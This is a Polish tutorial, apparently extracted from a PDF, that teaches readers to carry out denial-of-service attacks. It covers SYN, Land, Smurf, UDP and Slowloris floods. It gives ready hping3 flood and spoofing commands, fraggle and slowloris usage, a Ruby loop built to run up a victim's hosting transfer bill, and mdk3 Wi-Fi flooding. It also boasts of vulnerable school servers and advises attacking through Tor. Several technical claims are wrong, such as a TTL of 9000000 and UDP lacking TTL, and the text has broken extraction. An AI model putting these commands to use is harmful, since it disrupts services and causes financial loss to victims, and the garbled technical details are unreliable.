Jak wykonać atak DoS
samodzielnie?
Postanowiłem zebrać znane mi rodzaje ataków DDoS w jedno miejscowe,
pokrótce opisać każdy z nich.
Wszyscy powinniśmy wiedzieć czym są ataki DDoS oraz posiadać
podstawowe wiadomości na temat działania połączeń sieciowych i
podstawy działania podstawowych protokołów i stosu TCP/IP, więc
pomijając wstęp i definicję, jeśli ktoś nie wie, odsyłam do wiki:
Ping of death
To chyba najłatwiejszy do wykonania, a zarazem najmniej skomplikowany
atak DDoS, a może da się go określić też jako remote buffer overflow(?),
ponieważ systemy atakowane zawieszały się lub restartowały.
Standardy stosu TCP/IP dokładnie określają wielkości w bajtach danych
pakietów, (nie)stety, programiści przeoczyli te wielkości pisząc sockety lata
temu. Pakiet IMPC echo request może mieć maksymalną wielkość 65536
bajtów, wysyłając pakiet o większy niż 65526 bajtów, system atakowany
umierał. Dlatego obecne systemy, mają określoną maksymalną wielkość
pakietu ICMP:
Teardrop
Żeby zrozumieć ten atak, trzeba wytłumaczyć działanie segmentacji
pakietów IP.
Pakiet IP ma w sobie takie magiczne pole “offset field” zawiera ono jakąś
liczbę.
Gdy pakiet jest wysyłany i przechodzi przez bramę sieci, jednak wielkość
pakietu jest większa niż maksymalna wielkość pakietu, który może zostać
przepuszczony przez bramkę, zostaje on podzielony na części, np. Gdy
pakiet ma 80kb (wielkość fikcyjna), bramka może przepuścić max.
wielkość pakietu dajmy 33kb. Ten pakiet zostaje podzielony na 3 części.
Każda kolejna ma chronologicznie ustawioną wartość w polu offset field
pierwszy pakiet – 1, drugi pakiet – 2, trzeci pakiet – 3. Proste. Odbiorca
odbiera te trzy pakiety pakiety, składa je kolejno do siebie i otrzymuje
jakąś wiadomość.
Atak teardrop polegał na wykorzystaniu nieprawidłowego składania
pakietów w całość, poprzez wysyłanie do ofiary pakietów z offset field z
liczbami nakładającymi się.
Pierwszy pakiet OF=1, drugi pakiet OF=2, trzeci pakiet OF=1, czwarty
pakiet OF=1, w tym momencie system ofiary wariuje, jedno wielkie WTF.
System padał, zawieszał sie, restartował, zamykał wszystkie połączenia.
Atak ten zaliczam do historycznych, chociaż system m$ vista na ten atak
był nadal podatny jeszcze w 2009 roku, na protokole SMB2.
SYN-FLOOD
Połączenie według standardów TCP/IP nawiązuje się w trzech krokach:
1. Klient odpytuje serwer o aktywność – wysłanie pakietu z flagą SYN.
2. Serwer jeśli odbierze pakiet SYN i nie jest leniwy i chce na ten SYN
odpowiedzieć, odsyła SYN-ACK.
3. Gdy już klient wie, że może pogadać z serwerem wysyła do serwera
pakiety z danymi, usuwa flagę SYN, zostawia tylko ACK.
Wykonanie tych trzech kroków tworzy połączenie klient-serwer. Psikus!
Serwer musi odpowiedzieć pakietem z flagą albo SYN-ACK albo RST! Czyli
ofiara musi odesłać pakiet, który waży klika kilobajtów. Jest to typowy atak
DDoS, sam DoS byłyby nieskuteczny, chyba, że dysponujemy większą
przepustowością łącza niż ofiara, dlatego atak, nie ma szans powodzenia,
jako atak DoS. Gdy serwer musi odpowiedzieć na pakiet z flagą SYN,
pakietem z RST albo SYN-ACK, traci swoją przepustowość na upload i
download. Sewery przechowują dane klienta, od którego nadszedł pakiet z
SYN, dopóki otrzymają pakiet z flagą ACK… niech sobie czekają…
Prawdziwi klienci, którzy chcą się połączyć z serwerem nie mogą, gdyż
łącze jest zajęte.
Land
Nie mam pojęcia skąd taka nazwa tego ataku. Sam atak niewiele różni się
od ataku SYN-Flood, a różni się adresem źródłowym pakietu z flagą SYN.
Najlepiej, żeby ten adres był sfałszowany, na adres… ofiary? No niech
będzie. Uprośćmy budowę pakietu ze stosu TCP/IP:
-----------------------------------------------------------
|
r ó d o w y a d r e s I P | f l a g a | warto
TTL |
ź
ł
ść
-----------------------------------------------------------
127.0.0.1 –
IP ofiary, prawie całkiem przypadkowy adres.
SYN – flaga
wartość TTL – nie będziemy szaleli, ok. 20 przeważnie trzeba, żeby pakiet
dostał się do ofiary, to damy 9000000 żeby tyle okrążeń z karty sieciowej
ofiary do gniazda systemowego ofiary pakiet zrobił.
Pakiet jest wysyłany z komputera… nie zgadniecie. Agresora. Nieważne
jest IP Agresora, i tak zostanie spreparowane.
Odpowiednio spreparowany do ataku Land pakiet wygląda tak:
----------------------------
| 127.0.0.1|
SYN | 9000000 |
----------------------------
Ofiara otrzymuje taki pakiet. I co robi? Wysyła odpowiedź z flagą SYN-ACK
albo RST na adres źródłowy, czyli wysyła pakiet do siebie samego
osobiście. Głupi serwer odpowie do siebie samego SYN-ACK i otworzy
połączenie z localhostem, takie połączenie będzie aktywne, tak długo aż
wygaśnie czyli paręset sekund, wartość ustawiana przez administratora,
gorzej dzieje się gdy serwer ma ograniczoną ilość połączeń jednocześnie
np. Do 300, albowiem na łączu 128kbps można wysłać z 50 takich
pakietów na sekundę.
Smurf
Mój ulubiony atak, ze względu na to, że serwery w szkole są na niego
podatne :>
Ot nie sztuką jest floodować
Zwany też atakiem siłowym, bo jest silniejszy niż słaby adres
rozgłoszeniowy.
Źle skonfigurowany router, serwer, hub, (switch już nie, bo filtruje takie
pakiety domyślnie) gdy dostanie pakiet skierowany na adres broadcast,
wykona multipkikację tego pakietu i wyśle go do wszystkich komputerów w
sieci.
Pakiet wysłany z komputera należącego do sieci lokalnej zostanie wysłany
do wszystkich komputerów w sieci lokalnej.
Pakiet wysłany z poza sieci lokalnej wysłany do sieci docelowej jest
kierowny do wszystkich kart sieciowych w sieci lokalnej.
Jak wykorzystać ten atak?
Do przeprowadzenia ataku znowu będziemy potrzebowali sfałszować adres
źródłowy znowu na adres ofiary. Fałszujemy adres IP w nagłówku ICMP
echo request, wysyłamy z komputera atakującego na adres broadcast,
wszystkie komputery w sieci odpowiedzą pakietem
adres ofiary :>
Systemy klasy Windows domyślnie nie odpowiadają na pakiet ICMP echo
request z adresem broadcast.
Sztuczka z odpytywaniem o adres broadcast przydatna jest także w
fingerprintingu, gdy wykonamy nmap <adres broadcast> zeskanowane
zostaną wszystkie komputery w sieci.
Naptha
Wg. mnie bezsensowny atak, no ale skoro działa…
Podobny do ataku SYN. Naptha wykorzystuje kolejną wadę standardu
TCP/IP, także z wykorzystaniem flag na pakietach. Różnicą jest to, że ofiara
odczekuje na odebranie pakietu z flagą SYN-ACK, w Nathpa od tego czy
serwer odpowie pozytywnie (SYN-ACK) czy negatywnie (RST) zależy
powodzenie ataku.
Opis teoretycznego powodzenia ataku:
Agresor prosi o połączenie z serwerem przez zapytanie z flagą SYN.
(
już prawie) ofiara odpowiada flagą SYN-ACK.
Atakujący z zadowoleniem i podnietą wysyła pakiet kończący połączenie
FIN-ACK(po polsku – już zakończmy połączenie ok?), serwer w tym
momencie odpowiada pakietem, który ma zakończyć komunikacją między
komputerami, wysyła flagę FIN (ok, ale daj mi znać czy na pewno tego
chcesz), atakujący by zakończyć połączenie powinien odpisać ACK (tak,
chcę zakończyć), ale nie odpowiada. Serwer czeka, przechodzi w stan
pasywnego oczekiwania.
Zalewanie takimi pakietami skutkuje odrzuceniem innych połączeń do
ofiary.
UDP-flood
Znowu nasi kochani panowie z IEEE popsuli działanie protokołu, a może nie
popsuli tylko nie przewidzieli, że ktoś może tak to wykorzystać?
Najważniejszym elementem tego ataku jest możliwość
IP w pakiecie UPD echo, oraz to, że pakiet UDP echo i UDP chargen nie
mają wartości TTL.
Obrazek wyjaśnia komunikację:
Pakiety UPD echo i UDP chargen nigdy nie znikają, tworzy się nieskończona
pętla, w której tracą komputery: 192.168.1.4, 192.168.1.3 oraz switch.
Fraggle
Atak zbliżony do Smurf, różnica polega na wykorzystaniu innego protokołu
do ataku, ICMP zastępuje UDP. Różnice między UDP i ICMP zostały opisane
powyżej więc nie będę do tego wracał.
Tym razem udało mi się znaleźć program, dzięki któremu wykonamy atak,
źródło do pobrania w dziale Download.
Sposób użycia:
./
fraggle <cel> <plik z adresami broadcast> <ilosc pakietów>
<opó nienie>
ź
./
fraggle 192.168.1.3 plik 90000000000000000 10
Slowloris
Atak typowy DoS, wystarczy jeden komputer z dużą ilością wolnej pamięci
RAM by unieszkodliwić spore serwery, gdy używam tego ataku zwalniam
12GB RAM, które slowloris zajmuje w ciągu ~3minut.
Skrypt tworzy wirtualne gniazda, na których wysyła niepełne zapytania do
serwera na porcie 80 (http) lub 443 (https), przedstawia się, używając user
agent FireFoxa, nawiązuje pełne połączenie TCP z serwerem ofiary, sam
atak zbliżony działaniem do SYN-flood, tutaj mamy przyjemność z HTTP-
flood.
Atak bardzo populary ze względu na jego zasięg. Podatne są nie systemy
operacyjne, przepustowość łącza lecz program odpowiadający za usługę
webserwera:
•
Apache 1.x
•
Apache 2.x
•
dhttpd
•
GoAhead WebServer
•
WebSense “block pages” (niepotwierdzone)
•
Trapeze Wireless Web Portal (niepotwierdzone)
•
Verizon’s MI424-WR FIOS Cable modem (niepotwierdzone)
•
Verizon’s Motorola Set-Top Box (niepotwierdzone)
•
Deny All WAF (niepotwierdzone)
•
BeeWare WAF (niepotwierdzone)
Użycie skryptu:
perl slowloris -dns <adres ofiary IP lub url>
Dodatkową możliwością może być:
– określenie liczby klientów
– szyfrowanie połączenia (zwiększa zużycie mocy obliczeniowej serwera)
– ilość klientów stworzonych w ciągu sekundy
Od siebie dodam, że program bardzo ładnie spisuje się gdy atak jest
przeprowadzany przez trasowanie cebulowe, prościej mówiąc, gdy cały
ruch wejścia i wyjścia z komputera przechodzi przez sieć TOR.
UDP Unicorn
Kolejny flooder, atakuje pakietami UDP. Program z GUI. Ma możliwość
ataku na wybrany port, wielowątkowości i multisocketownia, określenia
wielkości pakietu. Screen opisuje wszystko:
Patrząc na GUI tego programu, łatwo się domyśleć, że jest on skierowany
do script-kiddies.
HPING3
Program o bardzo rozbudowanych możliwościach, od skanowania portów,
floodwania w sieciach wewnętrznych/zewnętrznych przez fingerprinting
systemów operacyjnych, sniffing, przesyłanie plików, fuzzing, traceroute,
spoofing, pfuuu….
Polecenie:
$
hping3 --help
zwróci nam możliwości jakie oferuje program.
Jak możesz zauważyć dużo tego, zajmiemy się tymi, które pasują do
tematu artykułu.
$
hping3 -S 192.168.1.1 -a 192.168.1.3 -p 80 -flood
Program wyśle pod adres 192.168.1.1 pakiety z flagą SYN, podając się za
adres źródłowy 192.168.1.254 na port 80, będzie wysyłało pakiety tak
szybko jak to możliwe, bez sprawdzania czy dotarły. Jak się domyslacie jest
to atak SYN-Flood.
$
hping3 -U -P -S -A 192.168.1.1 -k -s 80 -p 80 -a 192.168.1.3
Polecenie to nic innego jak złożony atak Land, przetłumaczę to na polski:
wysyłaj pakiety z flagami URG, PUSH, SYN, ACK, na adres 192.168.1.1 z
portu 80 na port 80, podając się za adres 192.168.1.1.
$
hping3 twoja.domena -p 80 -i u30000 –udp
Zostaną wysłane pakiety UDP na port 80 pod adres twoja.domena, z
prędkością 30 pakietów na sekundę.
Jak widać kombinacji użycia programu jest bardzo dużo, często ograniczać
nas może wiedza na temat stosu TCP/IP, działania sieci czy wyobraźnia.
Low Orbit Ion Cannon
LOIC
Pozwala atakować używając trzech dział:
•
TCP
•
HTTP
•
UDP
wysyłając pakiety zawierające wiadomość w ASCII, domyślnie A cat is fine
too. Desudesudesu.
W GUI programu oznaczamy miejsce ataku, wybieramy przycisk obok, by
zdobyć adres IP ofiary, wybieramy ilość wątków, port docelowy, delay z
jakimi wysyłane są pakiety i czy program ma floodować (czekać na
odpowiedź od serwera czy nie).
Aplikacja bardzo chętnie jest używana przez grupy anonymous /b/,
najczęściej w celu ataku na agencje typu RIAA, Aiplex. Program dostępny
też w Javie w dziale Download, do pobrania w celach edukacyjnych.
Niekonwencjonalny atak
Ataki DDoS to nie tylko zapychanie łącza u ofiary, może także narażać
ofiarę na koszty finansowe, także niekoniecznie przez zatrudnianie
administratorów. Możliwym na polskie realia jest atak polegający na
wyczerpaniu transferu miesięcznego na stronie www osoby prywatnej lub
ofiary. Otóż, niektórzy usługodawcy serwera www w zawartej umowie
posiadają punkt, coś w rodzaju:
masz 3GB miesięcznie, a jak przekroczysz ten limit to:
•
musisz zapłacić za transfer przyszło-miesięczny inaczej Twoja strona nie
będzie odblokowana
•
operator od razu nalicza kwotą karną, np. 50zł za każdy kolejny 1GB
•
automatycznie do rachunku doliczana jest kwota za opłatę za przyszły
miesiąc (zmienia się termin rozpoczęcia nowego miesiąca, czyli rachunek
przyjdzie wcześniej).
Poniższy skrypt, w nieskończoność będzie pobierał element, najlepiej, żeby
był to obrazek ze strony internetowej ofiary, gdyż będzie się pobierał
najszybciej:
#!/
usr/bin/ruby
require
'net/http'
@
strona
=
'ADRES'
#www.ofiara.pl
@
element
=
'RESZTA LINKU'
#/logo.gif
while
(
1
)
Net::HTTP
.
start
(
@strona
)
do
|
http
|
req =
Net::HTTP::Get
.
new
(
@element
)
puts
'Ook!'
if
(
http.
request
(
req
)
.
body
)
end
end
WiFi DoS MDK3
Program mdk3 jest dość ciekawym projektem, ma spore możliwości, jest
znacznie łatwiejszy w obsłudze niż zestaw aircrack-ng, mdk3 ma m in.
możliwość de-autoryzacji wszystkich kart sieciowych w zasięgu, ze
wszystkich AP w zasięgu, ataku brute-force na sieci z ukrytym BSSID,
tworzenia dużej ilości nieistniejących AP, wysyłania dużej ilości pakietów w
eter, kierowania ich do jednego AP, który jest atakowany, by spowolnić
jego działanie lub zamrozić na pewien czas, co właśnie chcę pokazać.
Aby program włączyć, trzeba być na koncie o prawach roota, oraz
przełączyć kartę z WLAN w tryb monitor, robimy to za pomocą airmon-ng:
airmon-ng start <interface>
utworzy się nowy wirtualny interface – mon0, to właśnie z niego
przeprowadza się ataki.
Poleceniem mdk3 mon0 <opcja>
Skupiamy się na opcji floodowania pakietami pobliskich AP, dlatego
polecenie będzie wyglądało tak:
mdk3 mon0 a
co do poniższy wynik:
po lewej działanie programu mdk3, po prawej chwytanie pakietów przez
airodump-ng.
Każda opcja w programie mdk3 ma swoje dodatkowe możliwości, dla opcji
a są to:
-
a skoncentruj si na tym AP, podajemy adres MAC ofiary
ę
-
a 00:11:22:33:44:55
-
m u yj adresów MAC z pliku <plik>
ż
-
c nie sprawdzaj czy po
czenie si powiod o
łą
ę
ł
-
i
czy klienta z AP i utrzymuje po
czenie wstrzykuj c
łą
łą
ą
zesniffowane pakiety (w tym wypadku opcje -a oraz -c s
ą
ignorowane)
-
i 00:11:22:33:44:55
-s liczba pakietów wysyłanych na sekundę, domyślnie nieograniczone
-s 900
Aby użyć ataku wraz z dodatkową opcją:
mdk3 mon0 a -i 00:04:ED:A3:80:11 -s 900
To polecenie zawiesza mój router w mniej niż 2 sekundy
Jak widać powyżej do opcji “głównej” nie podajemy przez literą minusa,
przy opcji dodatkowej tak.
Jeśli chcesz dowiedzieć się jakie są możliwości obrony przed DDoS,
zapraszam do